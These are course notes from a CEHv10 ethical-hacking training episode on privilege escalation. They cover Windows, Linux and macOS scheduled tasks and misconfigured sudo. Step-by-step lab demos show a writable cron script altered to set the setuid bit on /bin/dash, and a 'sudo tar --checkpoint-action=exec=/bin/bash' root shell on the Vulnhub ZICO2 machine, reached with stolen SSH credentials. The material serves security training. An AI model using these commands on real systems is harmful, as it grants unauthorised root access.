- Filename: eccouncil-ceh31250-v10-6-2-2-privilege_escalation_pt2.md
- Show Name: CEHv10 (312-50)
- Topic Name: Attacks and Exploits
- Episode Name: Privilege Escalation Pt.2
- Description: In this episode, Daniel and Zach guide you through the process of Privilege Escalation. Here they take you through common techniques and tactics for gaining higher privileges such as: exploiting scheduled tasks and insecure sudo implementations.

==

Privilege Escalation Pt.2

- Scheduled Tasks
    - Windows Task Scheduler
    - Linux Cron jobs
    - MacOS plist
    - DEMO: bWAPP bad cron job (**cleaner.sh**)
        - Check `/etc/crontab` for possible exploit
            1. `cat /etc/crontab`
            2. `ls -l /toolbox/cleaner.sh`
                - Also an example of insecure file/folder permissions
            3. Modify script: `chmod u+s /bin/dash`
            4. Wait
            5. `/bin/dash`
            6. `whoami` and/or `id`
- Unsecure SUDO
    - Takes advantage of poorly configured sudo
        - Allowing users to sudo as administrator or even root
    - **EXAMPLE: ZICO2 from Vulnhub**
        1. Gain limited access as zico user
            - SSH with Zico's stolen creds
        2. `sudo -l` to list sudo rights
        3. `man tar` for possible insight to shell command execution
            - See `--checkpoint` and `--checkpoint-action=`
                - See further: https://www.gnu.org/software/tar/manual/html_section/tar_26.html
        4. Using this knowledge...
            - `sudo -u root tar -cf /dev/null sploit --checkpoint=1 --checkpoint-action='exec=/bin/bash'`
                - You now have root privileges